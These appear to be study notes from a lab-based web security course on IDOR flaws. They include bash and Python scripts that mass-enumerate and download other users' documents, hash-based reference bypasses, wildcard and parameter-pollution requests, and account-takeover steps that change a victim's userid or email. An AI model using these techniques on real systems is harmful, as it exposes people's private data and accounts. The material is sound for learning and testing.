If the server’s response includes sensitive identifiers like id, email, or phone_number in a structured format (e.g., JSON), these could be potential entry points for exploitation.
documents.php?uid=1 => fuzz uid to discover new docs
Mass Enumeration
Automation - GET request
Automation - POST request
Bypassing Encoded References
not match...
Function Disclosure
javascript:downloadContract('1')
match
Tip: We are using the -n flag with echo, and the -w 0 flag with base64, to avoid adding newlines, in order to be able to calculate the md5 hash of the same value, without hashing newlines, as that would change the final md5 hash.
Use id 2 and uuid diclosed to change user info via PUT request
One type of attack is modifying a user's email address and then requesting a password reset link, which will be sent to the email address we specified, thus allowing us to take control over their account. Another potential attack is placing an XSS payload in the 'about' field
Role in URL
Parameter pollution
Depreciated API versions
JSON globbing
APIs that use static keywords
Second-order IDOR
Account Takeover
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
GET /example?id=124
GET /example?email=victim@example.com
GET /example?phone_number=0987654321
GET /api/resource/1
GET /user/account/find?user_id=15
POST /company/account/Microsoft/balance
POST /admin/pwreset/account/90
Try
GET /api/resource/3
GET /user/account/find?user_id=23
POST /company/account/Google/balance
POST /admin/pwreset/account/111
GET /api/users/5200/info → Access Denied
GET /api/users/5200,5233/info → Bypassed
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
#!/usr/bin/env python3
import re
import sys
def uuid_grep():
uuid_regex = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')
for line in sys.stdin:
match = uuid_regex.search(line)
if match:
print(match.group(0))
if __name__ == "__main__":
uuid_grep()
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done
#!/bin/bash
# Loop through UIDs from 1 to 10
for ((uid=1; uid<=10; uid++)); do
echo "UID $uid document links:"
curl -s -X POST http://94.237.53.169:45464/documents.php --data "uid=$uid" | awk -F "href='/documents/" '{for(i=2; i<=NF; i++){print $i}}' | awk -F "'" '{print $1}'
echo -e "\n" # Add a newline for clarity between responses
done
$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd
#!/bin/bash
for i in {1..10}; do
for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
done
done
{
"uid": 1,
"uuid": "40f5888b67c748df7efba008e7c2f9d2",
"role": "employee",
"full_name": "Amy Lindon",
"email": "a_lindon@employees.htb",
"about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
DELETE /identity/api/v2/user/videos/778
Response: "This is an admin function try to access the admin API"
DELETE /identity/api/v2/admin/videos/778
Response: 200 OK
POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=500&password=heked123
